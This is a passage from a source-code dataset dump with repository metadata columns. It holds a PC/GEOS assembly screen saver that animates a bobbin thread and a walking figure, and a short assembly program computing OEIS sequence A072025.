hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
fe4ea6318a1399b34ab42d5d07952f1aff3d6ccd
23,453
asm
Assembly
Appl/Saver/Bobbin/bobbin.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Saver/Bobbin/bobbin.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Saver/Bobbin/bobbin.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC/GEOS MODULE: bobbin FILE: bobbin.asm AUTHOR: Gene Anderson, Sep 11, 1991 REVISION HISTORY: Name Date Description ---- ---- ----------- Gene 11/6/91 Initial revision DESCRIPTION: .asm file for bobbin specific screen-saver library $Id: bobbin.asm,v 1.1 97/04/04 16:43:45 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ include stdapp.def include timer.def include initfile.def UseLib ui.def UseLib saver.def include bobbin.def ;============================================================================= ; ; OBJECT CLASSES ; ;============================================================================= BobbinApplicationClass class SaverApplicationClass MSG_BOBBIN_APP_DRAW message ; ; Draw the next line of the bobbin. Sent by our timer. ; ; Pass: nothing ; Return: nothing ; BAI_speed word BOBBIN_MEDIUM_SPEED BAI_timerHandle hptr 0 noreloc BAI_timerHandle BAI_timerID word BAI_random hptr 0 ; Random number generator noreloc BAI_random BobbinApplicationClass endc BobbinProcessClass class GenProcessClass BobbinProcessClass endc ;============================================================================== ; ; VARIABLES ; ;============================================================================== include bobbin.rdef ForceRef BobbinApp udata segment winHeight word winWidth word ; ; Amazing, astounding variables ; bobbinEndX SaverVector ; moving end of thread (x) bobbinEndY word ; moving end of thread (y) bobbinStartX SaverVector ; 'static' end of thread (x) bobbinStartY word ; static end of thread (y) curStep word ; current step amount dudeIsWalking byte ; non-zero if dude is walking curDude byte ; current bitmap for dude dudePos Point ; position to dude draw at curDudeBitmaps word ; offset of table of 3 bitmaps ; for the little dude in ; code segment. curDudeBitmapsLength byte ; # of bitmaps in table dudeWalkGoal word ; X coord to which the dude ; is walking. dudeHandle hptr ; correct resource displayType DisplayType ; color or B&W udata ends idata segment BobbinProcessClass mask CLASSF_NEVER_SAVED BobbinApplicationClass lastColor Color C_DARK_GRAY ; last color drawn in idata ends ;============================================================================== ; ; EXTERNAL WELL-DEFINED INTERFACE ; ;============================================================================== BobbinCode segment resource bobbinSteps word BOBBIN_STEP_SLOW, BOBBIN_STEP_MEDIUM, BOBBIN_STEP_FAST timerSpeeds word BOBBIN_TIMER_SLOW, BOBBIN_TIMER_MEDIUM, BOBBIN_TIMER_FAST walkSpeeds word BOBBIN_WALK_SLOW, BOBBIN_WALK_MEDIUM, BOBBIN_WALK_FAST .warn -private bobbinOptionTable SAOptionTable < bobbinCategory, length bobbinOptions > bobbinOptions SAOptionDesc < bobbinSpeedKey, size BAI_speed, offset BAI_speed > .warn @private bobbinCategory char 'bobbin', 0 bobbinSpeedKey char 'speed', 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BobbinLoadOptions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: load our options from the ini file CALLED BY: MSG_META_LOAD_OPTIONS PASS: *ds:si = BobbinApplicationClass object ds:di = BobbinApplicationClass instance data RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- stevey 12/29/92 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BobbinLoadOptions method dynamic BobbinApplicationClass, MSG_META_LOAD_OPTIONS uses ax,es .enter segmov es, cs mov bx, offset bobbinOptionTable call SaverApplicationGetOptions .leave mov di, offset BobbinApplicationClass GOTO ObjCallSuperNoLock BobbinLoadOptions endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BobbinAppGetWinColor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Ensures the screen isn't cleared on startup. CALLED BY: MSG_SAVER_APP_GET_WIN_COLOR PASS: *ds:si = BobbinApplicationClass object RETURN: ax = WinColorFlags DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- stevey 12/29/92 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BobbinAppGetWinColor method dynamic BobbinApplicationClass, MSG_SAVER_APP_GET_WIN_COLOR ; ; Let the superclass do its little thing. ; mov di, offset BobbinApplicationClass call ObjCallSuperNoLock ornf ah, mask WCF_TRANSPARENT ret BobbinAppGetWinColor endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BobbinAppSetWin %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Record the window and gstate, and get things rolling. CALLED BY: MSG_SAVER_APP_SET_WIN PASS: *ds:si = BobbinApplicationClass object dx = window bp = gstate es = dgroup RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- stevey 12/29/92 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BobbinAppSetWin method dynamic BobbinApplicationClass, MSG_SAVER_APP_SET_WIN .enter ; ; Let the superclass do its little thing. ; mov di, offset BobbinApplicationClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].BobbinApplication_offset ; ; Create a random number generator. ; call TimerGetCount mov dx, bx ; dxax <- seed clr bx ; bx <- allocate a new one call SaverSeedRandom mov ds:[di].BAI_random, bx call BobbinStart ; ; Start up the timer to draw a new line. ; call BobbinSetTimer .leave ret BobbinAppSetWin endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BobbinStart %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Start saving the screen in our own little way CALLED BY: BobbinAppSetWin PASS: *ds:si = BobbinApplicationClass ds:[di] = BobbinApplicationInstance es = dgroup RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 3/24/91 Initial version stevey 12/29/92 port to 2.0 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BobbinStart proc near class BobbinApplicationClass uses ax,bx,cx,dx,si,di .enter ; ; Figure out which set of bitmaps to use ; mov ax, handle ColorDudes call GetDisplayType ; returns in bl andnf bl, mask DT_DISP_CLASS mov es:[displayType], bl cmp bl, (DC_COLOR_2 shl offset DT_DISP_CLASS) jae isColor mov ax, handle BWDudes isColor: mov es:[dudeHandle], ax mov dx, ds:[di].SAI_bounds.R_right sub dx, ds:[di].SAI_bounds.R_left mov es:[winWidth], dx mov dx, ds:[di].SAI_bounds.R_bottom sub dx, ds:[di].SAI_bounds.R_top mov es:[winHeight], dx ; ; Initalize common stuff ; mov bx, ds:[di].BAI_speed mov ax, cs:[bobbinSteps][bx] mov es:[curStep], ax ; save step size ; ; Initialize the moving end of the bobbin ; mov si, ds:[di].BAI_random ; si = random number generator push si mov dx, es:[winHeight] sub dx, MARGIN_HEIGHT ; dx <- bottom - margin mov es:[bobbinEndY], dx ; dx <- y pos mov bx, ds:[di].BAI_speed mov di, offset bobbinEndX ; es:di <- ptr to vector mov bx, cs:[bobbinSteps][bx] ; bl <- delta max mov bh, bl ; bh <- delta base clr cx ; cx <- minimum mov dx, es:[winWidth] ; dx <- maximum mov ax, SVRT_BOUNCE ; ax <- SaverVectorReflectType call SaverVectorInit ; ; Initialize the static end of the bobbin ; pop si ; si = random number generator mov dx, es:[winHeight] sub dx, DUDE_HEIGHT ; dx <- win height - dude hght mov es:[bobbinStartY], dx mov di, offset bobbinStartX ; es:di <- ptr to vector mov cx, es:[winWidth] shr cx, 1 ; cx <- win width / 2 mov dx, cx sub cx, BOBBIN_SPOOL_LEFT ; cx <- minimum add dx, BOBBIN_SPOOL_RIGHT ; dx <- maximum mov bl, 1 ; bl <- delta max mov bh, bl ; bh <- delta base mov ax, SVRT_BOUNCE ; ax <- SaverVectorReflectType call SaverVectorInit ; ; Figure initial goal of dude, who is walking in from the right ; mov cx, es:[winWidth] shr cx, 1 ; cx <- win width / 2 sub cx, (DUDE_WIDTH / 2) ; cx <- centered for bitmap mov es:[dudeWalkGoal], cx ; walk dude to here ; ; Initialize the dude position ; mov cx, es:[winWidth] add cx, DUDE_WIDTH mov es:[dudePos].P_x, cx mov dx, es:[winHeight] sub dx, DUDE_HEIGHT-1 ; dx <- win height - dude hght mov es:[dudePos].P_y, dx ; ; Set dude a-walking ; mov es:[dudeIsWalking], 1 mov es:[curDudeBitmaps], offset walkDudeBitmaps mov es:[curDudeBitmapsLength], length walkDudeBitmaps mov es:[curDude], 0 .leave ret BobbinStart endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetDisplayType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Gets the current display type into bl. CALLED BY: BobbinStart PASS: *ds:si = BobbinApplication object RETURN: bl = DisplayType DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- stevey 12/29/92 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetDisplayType proc near uses ax, cx, dx, bp .enter mov ax, MSG_GEN_APPLICATION_GET_DISPLAY_SCHEME call ObjCallInstanceNoLock ; returns in ah mov bl, ah .leave ret GetDisplayType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BobbinAppUnsetWin %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Stop saving the screen. CALLED BY: MSG_SAVER_APP_UNSET_WIN PASS: *ds:si = BobbinApplicationClass object ds:di = BobbinApplicationClass instance data RETURN: dx = old window bp = old gstate DESTROYED: ax, cx PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- stevey 12/29/92 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BobbinAppUnsetWin method dynamic BobbinApplicationClass, MSG_SAVER_APP_UNSET_WIN ; ; Stop the draw timer. ; clr bx xchg bx, ds:[di].BAI_timerHandle mov ax, ds:[di].BAI_timerID call TimerStop ; ; Nuke the random number generator. ; clr bx xchg bx, ds:[di].BAI_random call SaverEndRandom ; ; Call our superclass to take care of the rest. ; mov ax, MSG_SAVER_APP_UNSET_WIN mov di, offset BobbinApplicationClass GOTO ObjCallSuperNoLock BobbinAppUnsetWin endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BobbinSetTimer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set a one-shot timer to draw the next line. CALLED BY: BobbinAppSetWin, BobbinAppDraw PASS: *ds:si = BobbinApplication object RETURN: nothing DESTROYED: ax, bx, cx, dx PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 6/28/91 Initial version stevey 12/29/92 port to 2.0 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BobbinSetTimer proc near class BobbinApplicationClass uses di .enter mov di, ds:[si] add di, ds:[di].BobbinApplication_offset mov al, TIMER_EVENT_ONE_SHOT mov bx, ds:[di].BAI_speed mov cx, cs:[timerSpeeds][bx] tst es:[dudeIsWalking] jz startTimer mov cx, cs:[walkSpeeds][bx] startTimer: mov bx, ds:[LMBH_handle] ; ^lbx:si = destination mov dx, MSG_BOBBIN_APP_DRAW call TimerStart mov ds:[di].BAI_timerHandle, bx mov ds:[di].BAI_timerID, ax .leave ret BobbinSetTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BobbinAppDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Do one step of drawing the screen saver CALLED BY: MSG_BOBBIN_APP_DRAW PASS: *ds:si = BobbinApplication object ds:[di] = BobbinApplicationInstance es = dgroup RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: This routine *must* be sure there's still a gstate around, as there is no synchronization provided by our parent to deal with timer methods that have already been queued after the SAVER_STOP method is received. REVISION HISTORY: Name Date Description ---- ---- ----------- eca 9/11/91 Initial version stevey 12/29/92 port to 2.0 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BobbinAppDraw method dynamic BobbinApplicationClass, MSG_BOBBIN_APP_DRAW .enter ; ; Make sure there is a GState to draw with ; tst ds:[di].SAI_curGState LONG jz quit ; branch if no GState push si ; save object tst es:[dudeIsWalking] LONG jnz walkDude drawThreads:: ; ; Erase the old bobbin ; push di mov di, ds:[di].SAI_curGState mov ax, C_BLACK or (CF_INDEX shl 8) call GrSetLineColor mov ax, es:[bobbinEndX].SV_point mov bx, es:[bobbinEndY] mov cx, es:[bobbinStartX].SV_point mov dx, es:[bobbinStartY] call GrDrawLine pop di ; ds:[di] = instance ; ; Update the moving end of the bobbin ; push ds push bx mov bx, ds:[di].BAI_random segmov ds, es, si mov si, offset bobbinEndX ; ds:si <- ptr to SaverVector call SaverVectorUpdate pop bx pop ds jnc noBounce ; branch if no bounce ; ; If we're moving up a line, make sure the old area is erased ; push di mov di, ds:[di].SAI_curGState mov ax, C_BLACK or (CF_INDEX shl 8) call GrSetAreaColor clr ax ; ax <- x1 mov cx, es:[winWidth] ; cx <- x2 mov dx, bx add dx, es:[curStep] call GrFillRect pop di ; ds:[di] = instance mov ax, es:[curStep] sub es:[bobbinEndY], ax jc topOfScreen ; branch if at top noBounce: ; ; Update the 'static' end of the bobbin ; push ds mov bx, ds:[di].BAI_random segmov ds, es, si mov si, offset bobbinStartX ; ds:si <- ptr to SaverVector call SaverVectorUpdate pop ds ; ; Set the color for the thread based on what's under the end of it ; call SetThreadColor ; al <- color for thread ; ; Draw the new bobbin ; push di mov di, ds:[di].SAI_curGState mov ax, es:[bobbinEndX].SV_point mov bx, es:[bobbinEndY] ; (ax,bx) <- (x,y) of bobbin mov cx, es:[bobbinStartX].SV_point mov dx, es:[bobbinStartY] call GrDrawLine pop di ; ; Draw the correct little dude ; call DrawLittleDude ; ; Draw a bit o' thread on the spool, but a bit darker... ; call DrawSpoolThread resetTimer: ; ; Set another timer for next time. ; pop si ; *ds:si = BobbinApp object call BobbinSetTimer jmp short quit pop1: pop si ; restore stack pointer quit: .leave ret walkDude: call DrawLittleDude tst es:[dudeIsWalking] jnz resetTimer ; still walking, so go another time tst es:[dudeWalkGoal] ; walking off-stage? jle pop1 ; yes => we're done mov es:[curDudeBitmaps], offset dudeBitmaps mov es:[curDudeBitmapsLength], length dudeBitmaps mov es:[curDude], length dudeBitmaps - 1 ; start with the first one jmp resetTimer ; no => want to start unravelling now topOfScreen: ; ; Clear whatever remains at the top of the screen. ; push di mov di, ds:[di].SAI_curGState mov ax, C_BLACK or (CF_INDEX shl 8) call GrSetAreaColor clr ax mov cx, es:[winWidth] mov bx, ax mov dx, ds:[curStep] call GrFillRect pop di ; ; Now set the little guy to walking off to the left of the screen. ; mov es:[dudeIsWalking], 1 mov es:[curDudeBitmaps], offset walkDudeBitmaps mov es:[curDudeBitmapsLength], length walkDudeBitmaps mov es:[curDude], length walkDudeBitmaps - 1 mov es:[dudeWalkGoal], -DUDE_WIDTH jmp resetTimer BobbinAppDraw endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetThreadColor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set color for thread based on background CALLED BY: BobbinAppDraw PASS: ds:[di] = BobbinApplicationInstance es = dgroup RETURN: al = Color DESTROYED: ah, bx, cx, dx PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 11/ 8/91 Initial version stevey 12/29/92 port to 2.0 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetThreadColor proc near class BobbinApplicationClass uses es .enter ; ; Get the color underneath the end of the bobbin ; mov ax, es:[bobbinEndX].SV_point mov bx, es:[bobbinEndY] ; (ax,bx) <- source (x,y) dec bx ;;; ;;; GrGetBitmap() doesn't actually return 0 if the beasty is completely ;;; off screen...or so it seems. ;;; cmp ax, es:[winWidth] jge skipGet ; branch if off screen cmp ax, 0 jl skipGet ; branch if off screen ; ; Get a 2x1 bitmap in the area ; mov cx, 2 ; cx <- width mov dx, 1 ; dx <- height push di mov di, ds:[di].SAI_curGState call GrGetBitmap pop di tst bx jz skipGet ; branch if get failed call MemLock ; lock the bitmap mov es, ax ; es <- seg addr of the bitmap ; ; This is really gross, I know... ; mov al, es:[size Bitmap] ; al <- first byte of Bitmap call MemFree ; done with bitmap test al, 0xf ; non-black? jnz gotColor ; branch if not black mov cl, 4 shr al, cl ; al <- Colors value gotColor: and al, 0xf ; al <- restrict jz skipGet ; branch if black CheckHack < C_BLACK eq 0> mov ss:[lastColor], al setColor: push di mov di, ds:[di].SAI_curGState mov ah, CF_INDEX call GrSetLineColor pop di .leave ret skipGet: mov al, ss:[lastColor] ; al <- last color drawn jmp setColor SetThreadColor endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawLittleDude %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw the correct little dude CALLED BY: BobbinAppDraw PASS: ds:[di] = BobbinApplicationInstance es = dgroup RETURN: none DESTROYED: ax, bx, cx, dx, si PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 11/ 8/91 Initial version stevey 12/29/92 port to 2.0 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawLittleDude proc near class BobbinApplicationClass .enter ; ; Update the current dude, and his position if he's walking. ; inc es:[curDude] mov bl, es:[curDude] cmp bl, es:[curDudeBitmapsLength] jb checkWalking clr bl mov es:[curDude], bl checkWalking: tst es:[dudeIsWalking] jz dudeOK mov ax, es:[dudePos].P_x sub ax, DUDE_STEP mov es:[dudePos].P_x, ax cmp ax, es:[dudeWalkGoal] jg dudeOK mov ax, es:[dudeWalkGoal] ; make sure the dude actually mov es:[dudePos].P_x, ax ; ends up where he's supposed ; to be, not just nearby... mov es:[dudeIsWalking], 0 dudeOK: clr bh mov si, bx ; si <- dude # shl si, 1 ; si <- table of words add si, es:[curDudeBitmaps] ; si <- walking or cranking push es:[dudePos].P_x push es:[dudePos].P_y ; ; If we're on a B&W system, we need to erase the area behind Oomao ; and draw him in white. ; cmp es:[displayType], (DC_COLOR_2 shl offset DT_DISP_CLASS) jae isColor push di mov di, ds:[di].SAI_curGState mov ax, C_BLACK or (CF_INDEX shl 8) call GrSetAreaColor mov ax, es:[dudePos].P_x mov bx, es:[dudePos].P_y mov cx, ax mov dx, bx add cx, DUDE_WALK_WIDTH add dx, DUDE_HEIGHT call GrFillRect mov ax, C_WHITE or (CF_INDEX shl 8) call GrSetAreaColor pop di isColor: ; ; Draw the current little dude ; pop bx ; bx <- y pos pop ax ; ax <- x pos push ds, di push bx, ax ; save x & y pos mov di, ds:[di].SAI_curGState mov bx, es:[dudeHandle] ; bx <- color or B&W bitmaps call MemLock mov ds, ax mov si, ds:[si] ; ds:si = bitmap add si, (size OpDrawBitmapAtCP) pop bx, ax clr dx ; no callback call GrDrawBitmap pop ds, di ; restore ds:[di] (instance) mov bx, es:[dudeHandle] call MemUnlock .leave ret DrawLittleDude endp ColorDudes segment resource dudeBitmaps nptr \ offset dude1, offset dude2, offset dude3 walkDudeBitmaps nptr \ offset walkDude1, offset walkDude2, offset walkDude3 dude1 label byte include Art/mkrDude1.ui dude2 label byte include Art/mkrDude2.ui dude3 label byte include Art/mkrDude3.ui walkDude1 label byte include Art/mkrWalkDude1.ui walkDude2 label byte include Art/mkrWalkDude2.ui walkDude3 label byte include Art/mkrWalkDude3.ui GSCheck check ColorDudes ends BWDudes segment resource dudeBWBitmaps nptr \ offset dudeBW1, offset dudeBW2, offset dudeBW3 walkDudeBWBitmaps nptr \ offset walkDudeBW1, offset walkDudeBW2, offset walkDudeBW3 dudeBW1 label byte include Art/mkrBWDude1.ui dudeBW2 label byte include Art/mkrBWDude2.ui dudeBW3 label byte include Art/mkrBWDude3.ui walkDudeBW1 label byte include Art/mkrBWWalkDude1.ui walkDudeBW2 label byte include Art/mkrBWWalkDude2.ui walkDudeBW3 label byte include Art/mkrBWWalkDude3.ui GSCheck check BWDudes ends CheckHack <(offset walkDudeBitmaps - offset dudeBitmaps) eq \ (offset walkDudeBWBitmaps - offset dudeBWBitmaps)> ForceRef dudeBWBitmaps ForceRef walkDudeBMBitmaps COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawSpoolThread %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw the bit of thread on the spool CALLED BY: BobbinAppDraw PASS: ds:[di] = BobbinApplicationInstance es = dgroup RETURN: nothing DESTROYED: ax, bx, cx, dx PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 11/ 8/91 Initial version stevey 12/29/92 port to 2.0 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawSpoolThread proc near class BobbinApplicationClass .enter push di mov di, ds:[di].SAI_curGState mov ax, C_BLACK or (CF_INDEX shl 8) call GrSetLineColor mov ax, es:[bobbinStartX].SV_point mov bx, es:[bobbinStartY] mov cx, ax add cx, es:[bobbinStartX].SV_delta mov dx, bx add dx, BOBBIN_SPOOL_HEIGHT call GrDrawLine pop di .leave ret DrawSpoolThread endp BobbinCode ends
22.272555
80
0.58969
943ce55c28767a99cdcee058653912ee6fa6eeab
2,499
asm
Assembly
programs/oeis/072/A072025.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/072/A072025.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/072/A072025.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A072025: a(n) = n^4 + 2*n^3 + 4*n^2 + 3*n + 1 = ((n+1)^5+n^5) / (2*n+1). ; 1,11,55,181,461,991,1891,3305,5401,8371,12431,17821,24805,33671,44731,58321,74801,94555,117991,145541,177661,214831,257555,306361,361801,424451,494911,573805,661781,759511,867691,987041,1118305,1262251,1419671,1591381,1778221,1981055,2200771,2438281,2694521,2970451,3267055,3585341,3926341,4291111,4680731,5096305,5538961,6009851,6510151,7041061,7603805,8199631,8829811,9495641,10198441,10939555,11720351,12542221,13406581,14314871,15268555,16269121,17318081,18416971,19567351,20770805,22028941,23343391,24715811,26147881,27641305,29197811,30819151,32507101,34263461,36090055,37988731,39961361,42009841,44136091,46342055,48629701,51001021,53458031,56002771,58637305,61363721,64184131,67100671,70115501,73230805,76448791,79771691,83201761,86741281,90392555,94157911,98039701,102040301,106162111,110407555,114779081,119279161,123910291,128674991,133575805,138615301,143796071,149120731,154591921,160212305,165984571,171911431,177995621,184239901,190647055,197219891,203961241,210873961,217960931,225225055,232669261,240296501,248109751,256112011,264306305,272695681,281283211,290071991,299065141,308265805,317677151,327302371,337144681,347207321,357493555,368006671,378749981,389726821,400940551,412394555,424092241,436037041,448232411,460681831,473388805,486356861,499589551,513090451,526863161,540911305,555238531,569848511,584744941,599931541,615412055,631190251,647269921,663654881,680348971,697356055,714680021,732324781,750294271,768592451,787223305,806190841,825499091,845152111,865153981,885508805,906220711,927293851,948732401,970540561,992722555,1015282631,1038225061,1061554141,1085274191,1109389555,1133904601,1158823721,1184151331,1209891871,1236049805,1262629621,1289635831,1317072971,1344945601,1373258305,1402015691,1431222391,1460883061,1491002381,1521585055,1552635811,1584159401,1616160601,1648644211,1681615055,1715077981,1749037861,1783499591,1818468091,1853948305,1889945201,1926463771,1963509031,2001086021,2039199805,2077855471,2117058131,2156812921,2197125001,2237999555,2279441791,2321456941,2364050261,2407227031,2450992555,2495352161,2540311201,2585875051,2632049111,2678838805,2726249581,2774286911,2822956291,2872263241,2922213305,2972812051,3024065071,3075977981,3128556421,3181806055,3235732571,3290341681,3345639121,3401630651,3458322055,3515719141,3573827741,3632653711,3692202931,3752481305,3813494761,3875249251 mov $2,1 add $2,$0 mul $0,$2 add $0,2 bin $0,2 mov $1,$0 mul $1,2 sub $1,1
208.25
2,347
0.865946
300364da59df870df62103dec0b69888f23e712d
5,322
asm
Assembly
boot/gdt.asm
vitaminac/miniboot
945afe122f7dfcb9c70c87ac8adb1ff3f14e7a97
[ "MIT" ]
10
2019-09-17T12:19:12.000Z
2022-03-11T09:55:07.000Z
boot/gdt.asm
vitaminac/miniboot
945afe122f7dfcb9c70c87ac8adb1ff3f14e7a97
[ "MIT" ]
2
2021-05-05T14:40:11.000Z
2021-05-06T16:42:51.000Z
boot/gdt.asm
vitaminac/miniboot
945afe122f7dfcb9c70c87ac8adb1ff3f14e7a97
[ "MIT" ]
3
2020-06-11T02:20:58.000Z
2021-06-25T17:29:46.000Z
